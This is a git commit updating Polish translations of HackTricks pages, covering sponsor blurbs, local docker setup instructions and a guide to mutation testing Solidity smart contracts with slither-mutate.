Translated ['', 'src/network-services-pentesting/pentesting-web/ruby-tri

This commit is contained in:
Translator 2025-10-01 12:16:04 +00:00
parent 0adf64c3fe
commit 389b3c8be2
13 changed files with 837 additions and 741 deletions

View File

@ -2,7 +2,7 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure> <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logo i motion design autorstwa_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ _Logotypy i projekt animacji HackTricks autorstwa_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Uruchom HackTricks lokalnie ### Uruchom HackTricks lokalnie
```bash ```bash
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder # Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0" docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
``` ```
Twoja lokalna kopia HackTricks będzie **dostępna pod [http://localhost:3337](http://localhost:3337)** po mniej niż 5 minut (musi zbudować książkę, bądź cierpliwy). Twoja lokalna kopia HackTricks będzie **dostępna pod [http://localhost:3337](http://localhost:3337)** po <5 minutach (musi zbudować książkę, proszę o cierpliwość).
## Sponsorzy korporacyjni ## Corporate Sponsors
### [STM Cyber](https://www.stmcyber.com) ### [STM Cyber](https://www.stmcyber.com)
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cyberbezpieczeństwem, której slogan to **HACK THE UNHACKABLE**. Prowadzą własne badania i rozwijają własne narzędzia do hackowania, aby **oferować wiele wartościowych usług związanych z cyberbezpieczeństwem** takich jak pentesting, Red teams i szkolenia. [**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cybersecurity, której slogan to **HACK THE UNHACKABLE**. Prowadzą własne badania i rozwijają własne narzędzia hackingowe, aby **oferować kilka wartościowych usług z zakresu bezpieczeństwa** takich jak pentesting, Red teams i training.
Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com) Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** wspiera również projekty open source związane z cyberbezpieczeństwem, takie jak HackTricks :) **STM Cyber** również wspiera open source'owe projekty związane z cybersecurity, takie jak HackTricks :)
--- ---
@ -51,7 +51,7 @@ Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najistotniejszych w **Europie**. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa ze wszystkich dyscyplin. [**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cybersecurity w **Hiszpanii** i jedno z najistotniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cybersecurity we wszystkich dyscyplinach.
{{#ref}} {{#ref}}
https://www.rootedcon.com/ https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** to europejska platforma nr 1 w zakresie ethical hacking i **bug bounty platform.** **Intigriti** to **Europe's #1** ethical hacking and bug bounty platform.
**Bug bounty tip**: **zarejestruj się** na **Intigriti**, premium **bug bounty platform created by hackers, for hackers**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**! **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać bounty do **$100,000**!
{{#ref}} {{#ref}}
https://go.intigriti.com/hacktricks https://go.intigriti.com/hacktricks
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować workflowy** napędzane przez najbardziej **zaawansowane** narzędzia społecznościowe na świecie. Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby w prosty sposób budować i **automate workflows** zasilane przez najbardziej **zaawansowane** community tools na świecie.
Uzyskaj dostęp już dziś: Uzyskaj dostęp już dziś:
@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server, aby komunikować się z doświadczonymi hackerami i łowcami bug bounty! Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i bug bounty hunters!
- **Wglądy dotyczące hackingu:** Angażuj się w treści zgłębiające emocje i wyzwania hackingowe - **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
- **Wiadomości o hackingu w czasie rzeczywistym:** Bądź na bieżąco z szybkim tempem świata hackingu dzięki wiadomościom i analizom w czasie rzeczywistym - **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
- **Najnowsze ogłoszenia:** Informacje o najnowszych uruchamianych bug bounty i kluczowych aktualizacjach platformy - **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z topowymi hackerami już dziś!
--- ---
@ -106,9 +106,9 @@ Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ser
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zyskaj perspektywę hackera na swoje aplikacje webowe, sieć i chmurę** **Zdobądź perspektywę hackera na swoje web apps, sieć i chmurę**
**Znajdź i zgłoś krytyczne, eksploatowalne podatności mające realny wpływ na biznes.** Użyj naszych 20+ dedykowanych narzędzi do mapowania powierzchni ataku, znajdowania problemów bezpieczeństwa umożliwiających eskalację uprawnień oraz używania zautomatyzowanych exploitów do zebrania kluczowych dowodów, przekształcając twoją pracę w przekonujące raporty. **Znajdź i zgłoś krytyczne, eksploatowalne podatności z rzeczywistym wpływem na biznes.** Użyj naszych 20+ narzędzi niestandardowych, aby zmapować attack surface, znaleźć problemy bezpieczeństwa umożliwiające eskalację uprawnień i użyć zautomatyzowanych exploitów do zebrania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
{{#ref}} {{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** oferuje szybkie i proste API w czasie rzeczywistym do **dostępu do wyników wyszukiwarek**. Zeskrobują wyszukiwarki, obsługują proxy, rozwiązują captche i parsują wszystkie bogate, ustrukturyzowane dane za Ciebie. **SerpApi** oferuje szybkie i proste API w czasie rzeczywistym do **dostępu do wyników wyszukiwarek**. Scrape'ują search engines, obsługują proxies, rozwiązują captche i parsują wszystkie bogate, zstrukturane dane za Ciebie.
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych API do zeskrobywania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\ Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych API do scrapowania różnych search engines, w tym Google, Bing, Baidu, Yahoo, Yandex i więcej.\
W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się jedynie do zeskrobywania wyników organicznych**. Odpowiedzi SerpApi konsekwentnie zawierają wszystkie reklamy, osadzone obrazy i wideo, knowledge graphy oraz inne elementy i funkcje obecne w wynikach wyszukiwania. W przeciwieństwie do innych dostawców, **SerpApi nie tylko scrape'uje organiczne wyniki**. Odpowiedzi SerpApi konsekwentnie zawierają wszystkie reklamy, inline images i videos, knowledge graphs oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
Obecni klienci SerpApi to **Apple, Shopify i GrubHub**.\ Obecni klienci SerpApi to m.in. **Apple, Shopify oraz GrubHub**.\
Więcej informacji znajdziesz na ich [**blogu**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**playground**](https://serpapi.com/playground)**.**\ Po więcej informacji sprawdź ich [**blog**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**playground**](https://serpapi.com/playground)**.**\
Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign_up)**.** Możesz **utworzyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign_up)**.**
--- ---
@ -135,7 +135,7 @@ Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign_
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Poznaj technologie i umiejętności niezbędne do prowadzenia researchu podatności, penetration testing i reverse engineeringu, aby chronić aplikacje mobilne i urządzenia. **Opanuj bezpieczeństwo iOS i Android** dzięki naszym kursom ondemand i **uzyskaj certyfikat**: Naucz się technologii i umiejętności wymaganych do prowadzenia vulnerability research, penetration testing i reverse engineering, aby chronić aplikacje mobilne i urządzenia. **Opanuj iOS i Android security** poprzez nasze kursy on-demand i **uzyskaj certyfikat**:
{{#ref}} {{#ref}}
https://academy.8ksec.io/ https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami, dostarczając **offensive-security services** z **nowoczesnym** podejściem. [**WebSec**](https://websec.net) to profesjonalna firma cybersecurity z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami, dostarczając **offensive-security services** z **nowoczesnym** podejściem.
WebSec to międzynarodowa firma security z biurami w Amsterdamie i Wyoming. Oferują **usługi all-in-one**, co oznacza, że robią wszystko: Pentesting, **Security** Audyty, szkolenia świadomościowe, kampanie phishingowe, Code Review, rozwój exploitów, outsourcing ekspertów ds. bezpieczeństwa i wiele więcej. WebSec to międzynarodowa firma security z biurami w Amsterdamie i Wyoming. Oferują **usługi all-in-one**, co oznacza, że robią wszystko; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing i wiele więcej.
Kolejną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej rynkowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, jak napisano na ich stronie "**If we can't hack it, You don't pay it!**". Po więcej informacji zajrzyj na ich [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)! Kolejną fajną rzeczą o WebSec jest to, że w odróżnieniu od średniej w branży WebSec **bardzo wierzy w swoje umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki**, jak podają na swojej stronie "**If we can't hack it, You don't pay it!**". Po więcej info zajrzyj na ich [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)!
Ponadto WebSec jest również **zaangażowanym sponsorem HackTricks.** Dodatkowo WebSec jest również **zaangażowanym sponsorem HackTricks.**
{{#ref}} {{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure> <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) to wyszukiwarka naruszeń danych (leak). \ [**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) to wyszukiwarka data breach (leak). \
Oferujemy wyszukiwanie losowych ciągów (jak google) we wszystkich rodzajach data leaks, dużych i małych -- nie tylko tych największych -- na danych z wielu źródeł. \ Udostępniamy wyszukiwanie losowych stringów (jak google) we wszystkich typach data leaks —dużych i małych— nie tylko tych największych— na danych z wielu źródeł. \
Wyszukiwanie osób, wyszukiwanie AI, wyszukiwanie organizacji, dostęp API (OpenAPI), integracja theHarvester, wszystkie funkcje, których potrzebuje pentester.\ Wyszukiwanie osób, wyszukiwanie AI, wyszukiwanie organizacji, API (OpenAPI) access, theHarvester integration, wszystkie funkcje, których potrzebuje pentester.\
**HackTricks wciąż pozostaje świetną platformą edukacyjną dla nas wszystkich i jesteśmy dumni, że ją sponsorujemy!** **HackTricks nadal jest świetną platformą do nauki dla nas wszystkich i jesteśmy dumni, że ją sponsorujemy!**
{{#ref}} {{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -182,12 +182,15 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\ **Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) tworzy i dostarcza efektywne szkolenia z cyberbezpieczeństwa budowane i prowadzone przez ekspertów z branży. Ich programy wykraczają poza teorię, wyposażając zespoły w dogłębną wiedzę i praktyczne umiejętności, korzystając z niestandardowych środowisk odzwierciedlających rzeczywiste zagrożenia. W sprawach szkoleń niestandardowych skontaktuj się z nami [**tutaj**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). [**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) tworzy i dostarcza efektywne szkolenia z zakresu cybersecurity prowadzone przez
ekspertów z branży. Ich programy wykraczają poza teorię, wyposażając zespoły w dogłębną
wiedzę i praktyczne umiejętności, używając niestandardowych środowisk odzwierciedlających realne
zagrożenia. W sprawach dotyczących dedykowanych szkoleń skontaktuj się z nami [**tutaj**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Co wyróżnia ich szkolenia:** **Co wyróżnia ich szkolenia:**
* Treść i laboratoria tworzone na zamówienie * Custom-built content and labs
* Wsparcie przez narzędzia i platformy najwyższej klasy * Backed by top-tier tools and platforms
* Projektowane i prowadzone przez praktyków * Designed and taught by practitioners
{{#ref}} {{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks https://cyberhelmets.com/courses/?ref=hacktricks
@ -199,13 +202,17 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure> <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions dostarcza wyspecjalizowane usługi cyberbezpieczeństwa dla instytucji edukacyjnych i FinTech, z naciskiem na **penetration testing, oceny bezpieczeństwa chmury** oraz **przygotowanie do zgodności** (SOC 2, PCI-DSS, NIST). Nasz zespół obejmuje profesjonalistów z certyfikatami **OSCP i CISSP**, dostarczając głęboką wiedzę techniczną i wgląd zgodny ze standardami branżowymi w każdym zaangażowaniu. Last Tower Solutions dostarcza wyspecjalizowane usługi cybersecurity dla instytucji z sektora **Edukacji** i **FinTech**, skupiając się na **penetration testing, cloud security assessments**, oraz
**compliance readiness** (SOC 2, PCI-DSS, NIST). Nasz zespół obejmuje profesjonalistów z certyfikatami **OSCP i CISSP**, wnosząc głęboką wiedzę techniczną i branżowe doświadczenie do
każdego zlecenia.
Wykraczamy poza automatyczne skany dzięki **ręcznym, opartym na wywiadzie testom**, dostosowanym do środowisk o wysokim ryzyku. Od zabezpieczania danych studentów po ochronę transakcji finansowych, pomagamy organizacjom chronić to, co najważniejsze. Wykraczamy poza automatyczne skany, oferując **manualne, intelligence-driven testing** dostosowane do
środowisk o wysokim ryzyku. Od zabezpieczania rekordów studentów po ochronę transakcji finansowych,
pomagamy organizacjom bronić tego, co najważniejsze.
_„Jako obrona wymaga znajomości ofensywy, dostarczamy bezpieczeństwo poprzez zrozumienie.”_ _„A quality defense requires knowing the offense, we provide security through understanding.”_
Bądź na bieżąco z najnowszymi informacjami z zakresu cyberbezpieczeństwa, odwiedzając ich [**blog**](https://www.lasttowersolutions.com/blog). Bądź na bieżąco z najnowszymi informacjami ze świata cybersecurity odwiedzając nasz [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}} {{#ref}}
https://www.lasttowersolutions.com/ https://www.lasttowersolutions.com/
@ -215,9 +222,9 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure> <figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE umożliwia DevOps, DevSecOps i deweloperom zarządzanie, monitorowanie i zabezpieczanie klastrów Kubernetes w efektywny sposób. Wykorzystaj nasze AI-driven wnioski, zaawansowany framework bezpieczeństwa i intuicyjne CloudMaps GUI, aby wizualizować swoje klastry, rozumieć ich stan i działać z pewnością. K8Studio IDE umożliwia DevOps, DevSecOps i developerom zarządzanie, monitorowanie i zabezpieczanie klastrów Kubernetes efektywnie. Wykorzystaj nasze AI-driven insights, zaawansowany security framework oraz intuicyjne CloudMaps GUI, aby wizualizować swoje klastry, rozumieć ich stan i działać z pewnością.
Co więcej, K8Studio jest **kompatybilne ze wszystkimi głównymi dystrybucjami kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift i inne). Co więcej, K8Studio jest **kompatybilne ze wszystkimi głównymi dystrybucjami kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift i inne).

View File

@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md) - [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md) - [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md) - [Cookies Policy](todo/cookies-policy.md)

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Mutation testing "tests your tests" poprzez systematyczne wprowadzanie małych zmian (mutantów) w Twoim kodzie Solidity i ponowne uruchamianie zestawu testów. Jeśli test zawiedzie, mutant zostaje zabity. Jeśli testy nadal przejdą, mutant przetrwa, ujawniając ślepą plamę w Twoim zestawie testów, której pokrycie linii/gałęzi nie wykryje. Mutation testing "tests your tests" przez systematyczne wprowadzanie małych zmian (mutantów) w kodzie Solidity i ponowne uruchamianie zestawu testów. Jeśli test się nie powiedzie, mutant zostaje zabity. Jeśli testy nadal przejdą, mutant przetrwa, ujawniając ślepy punkt w Twoim zestawie testów, którego pokrycie linii/gałęzi nie wykryje.
Key idea: Pokrycie pokazuje, że kod został wykonany; testowanie mutacyjne pokazuje, czy zachowanie zostało faktycznie zweryfikowane. Key idea: Coverage shows code was executed; mutation testing shows whether behavior is actually asserted.
## Dlaczego pokrycie może wprowadzać w błąd ## Dlaczego pokrycie może wprowadzać w błąd
Rozważ to proste sprawdzenie progu: Rozważ ten prosty warunek progowy:
```solidity ```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) { function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) { if (deposit >= 1 ether) {
@ -18,96 +18,96 @@ return false;
} }
} }
``` ```
Testy jednostkowe, które sprawdzają tylko wartość poniżej i wartość powyżej progu, mogą osiągnąć 100% pokrycia linii/gałęzi, jednocześnie nie asercjonując granicy równości (==). Refaktoryzacja do `deposit >= 2 ether` nadal przejdzie takie testy, cicho łamiąc logikę protokołu. Testy jednostkowe, które sprawdzają tylko wartość poniżej i wartość powyżej progu, mogą osiągnąć 100% pokrycia linii/gałęzi, jednocześnie nie asercjonując granicy równości (==). Refaktoryzacja do `deposit >= 2 ether` nadal zaliczyłaby takie testy, cicho łamiąc logikę protokołu.
Mutation testing ujawnia tę lukę przez mutowanie warunku i weryfikowanie, że testy nie przechodzą. Mutation testing ujawnia tę lukę przez zmodyfikowanie warunku i weryfikację, że Twoje testy nie przechodzą.
## Typowe operatory mutacji w Solidity ## Common Solidity mutation operators
Silnik mutacji Slither stosuje wiele drobnych edycji zmieniających semantykę, takich jak: Slithers mutation engine applies many small, semantics-changing edits, such as:
- Zamiana operatorów: `+``-`, `*``/`, itd. - Zamiana operatorów: `+``-`, `*``/`, itd.
- Zamiana przypisania: `+=``=`, `-=``=` - Zamiana przypisań: `+=``=`, `-=``=`
- Zamiana stałych: wartość niezerowa → `0`, `true``false` - Zamiana stałych: wartość różna od zera → `0`, `true``false`
- Negacja/zamiana warunku wewnątrz `if`/pętli - Negacja/zamiana warunku wewnątrz `if`/pętli
- Zakomentowanie całych linii (CR: Comment Replacement) - Zakomentowanie całych linii (CR: Comment Replacement)
- Zastąpienie linii wywołaniem `revert()` - Zamiana linii na `revert()`
- Zamiana typów danych: np. `int128``int64` - Zamiany typów danych: np. `int128``int64`
Cel: Wyeliminować 100% wygenerowanych mutantów lub uzasadnić przeżycie poszczególnych mutantów jasnym wyjaśnieniem. Cel: Zabić 100% wygenerowanych mutantów, albo uzasadnić przeżywających jasnym rozumowaniem.
## Uruchamianie mutation testing za pomocą slither-mutate ## Running mutation testing with slither-mutate
Wymagania: Slither v0.10.2+. Requirements: Slither v0.10.2+.
- Wyświetl opcje i mutatory: - Wyświetl opcje i mutatory:
```bash ```bash
slither-mutate --help slither-mutate --help
slither-mutate --list-mutators slither-mutate --list-mutators
``` ```
- Przykład Foundry (zapisz wyniki i zachowaj pełny log): - Foundry — przykład (przechwyć wyniki i zachowaj pełny log):
```bash ```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
``` ```
- Jeśli nie używasz Foundry, zastąp `--test-cmd` sposobem uruchamiania testów (np. `npx hardhat test`, `npm test`). - Jeśli nie używasz Foundry, zamień `--test-cmd` na sposób uruchamiania testów (np. `npx hardhat test`, `npm test`).
Artyfakty i raporty są domyślnie zapisywane w `./mutation_campaign`. Mutanty, które nie zostały wykryte (przetrwałe), są tam kopiowane do inspekcji. Artefakty i raporty są domyślnie zapisywane w `./mutation_campaign`. Nieuchwycone (przetrwałe) mutanty są tam kopiowane do inspekcji.
### Zrozumienie wyników ### Understanding the output
Wiersze raportu wyglądają tak: Wiersze raportu wyglądają tak:
```text ```text
INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
``` ```
- The tag in brackets is the mutator alias (e.g., `CR` = Comment Replacement). - Tag w nawiasach to alias mutatora (np. `CR` = Comment Replacement).
- `UNCAUGHT` means tests passed under the mutated behavior → missing assertion. - `UNCAUGHT` oznacza, że testy przeszły przy zmienionym zachowaniu → brak asercji.
## Reducing runtime: prioritize impactful mutants ## Redukcja czasu działania: priorytetyzuj mutacje o największym wpływie
Mutation campaigns can take hours or days. Tips to reduce cost: Kampanie mutacyjne mogą trwać godziny lub dni. Wskazówki, jak zmniejszyć koszty:
- Scope: Start with critical contracts/directories only, then expand. - Scope: Zacznij tylko od krytycznych kontraktów/katalogów, potem rozszerz.
- Prioritize mutators: If a high-priority mutant on a line survives (e.g., entire line commented), you can skip lower-priority variants for that line. - Priorytetyzuj mutatory: jeśli mutacja o wysokim priorytecie na danej linii przetrwa (np. cała linia skomentowana), możesz pominąć warianty o niższym priorytecie dla tej linii.
- Parallelize tests if your runner allows it; cache dependencies/builds. - Równoległe uruchamianie testów, jeśli twój runner na to pozwala; cache'uj zależności/kompilacje.
- Fail-fast: stop early when a change clearly demonstrates an assertion gap. - Fail-fast: zatrzymaj wcześnie, gdy zmiana wyraźnie pokazuje lukę w asercjach.
## Triage workflow for surviving mutants ## Procedura triage dla przetrwałych mutantów
1) Inspect the mutated line and behavior. 1) Zbadaj zmodyfikowaną linię i zachowanie.
- Reproduce locally by applying the mutated line and running a focused test. - Odtwórz lokalnie, wprowadzając zmienioną linię i uruchamiając ukierunkowany test.
2) Strengthen tests to assert state, not only return values. 2) Wzmocnij testy tak, aby asercjonowały stan, nie tylko wartości zwracane.
- Add equality-boundary checks (e.g., test threshold `==`). - Dodaj testy graniczne równości (np. sprawdzenie progu `==`).
- Assert post-conditions: balances, total supply, authorization effects, and emitted events. - Asercjonuj warunki post-funkcyjne: salda, całkowita podaż, efekty autoryzacji oraz emitowane zdarzenia.
3) Replace overly permissive mocks with realistic behavior. 3) Zastąp zbyt pobłażliwe mocki realistycznym zachowaniem.
- Ensure mocks enforce transfers, failure paths, and event emissions that occur on-chain. - Upewnij się, że mocki wymuszają transfery, ścieżki błędów oraz emisję zdarzeń, które występują on-chain.
4) Add invariants for fuzz tests. 4) Dodaj inwarianty do fuzz testów.
- E.g., conservation of value, non-negative balances, authorization invariants, monotonic supply where applicable. - Np. zachowanie wartości, salda nieujemne, inwarianty autoryzacji, monotoniczna podaż tam, gdzie ma zastosowanie.
5) Re-run slither-mutate until survivors are killed or explicitly justified. 5) Uruchom ponownie slither-mutate, aż przetrwałe mutanty zostaną wyeliminowane lub wyraźnie uzasadnione.
## Case study: revealing missing state assertions (Arkis protocol) ## Studium przypadku: ujawnienie brakujących asercji stanu (Arkis protocol)
A mutation campaign during an audit of the Arkis DeFi protocol surfaced survivors like: Kampania mutacyjna podczas audytu Arkis DeFi protocol ujawniła przetrwałe mutanty takie jak:
```text ```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
``` ```
Zakomentowanie przypisania nie zepsuło testów, co dowodzi braku asercji stanu końcowego. Przyczyna: kod ufał kontrolowanej przez użytkownika wartości `_cmd.value` zamiast weryfikować rzeczywiste transfery tokenów. Atakujący mógłby wprowadzić niespójność między oczekiwanymi a faktycznymi transferami i wyprowadzić środki. Skutek: ryzyko wysokiej wagi dla wypłacalności protokołu. Zakomentowanie przypisania nie złamało testów, co dowodzi braku asercji stanu po wykonaniu. Przyczyna źródłowa: kod ufał kontrolowanej przez użytkownika `_cmd.value` zamiast weryfikować rzeczywiste transfery tokenów. Atakujący mógłby wprowadzić rozbieżność między oczekiwanymi a rzeczywistymi transferami, aby wypompować środki. Skutek: wysokie ryzyko zagrażające wypłacalności protokołu.
Wskazówka: Traktuj przetrwałe mutanty, które wpływają na transfery wartości, księgowość lub kontrolę dostępu, jako wysokie ryzyko, dopóki nie zostaną wyeliminowane. Guidance: Traktuj przetrwałe mutacje, które wpływają na transfery wartości, rozliczenia lub kontrolę dostępu, jako wysokiego ryzyka, dopóki nie zostaną usunięte.
## Practical checklist ## Praktyczna lista kontrolna
- Przeprowadź ukierunkowaną kampanię: - Uruchom ukierunkowaną kampanię:
- `slither-mutate ./src/contracts --test-cmd="forge test"` - `slither-mutate ./src/contracts --test-cmd="forge test"`
- Przeprowadź triage przetrwałych mutantów i napisz testy/inwarianty, które zawiodłyby przy zmienionym zachowaniu. - Przejrzyj przetrwałe mutacje i napisz testy/inwarianty, które zawiodłyby przy zmienionym zachowaniu.
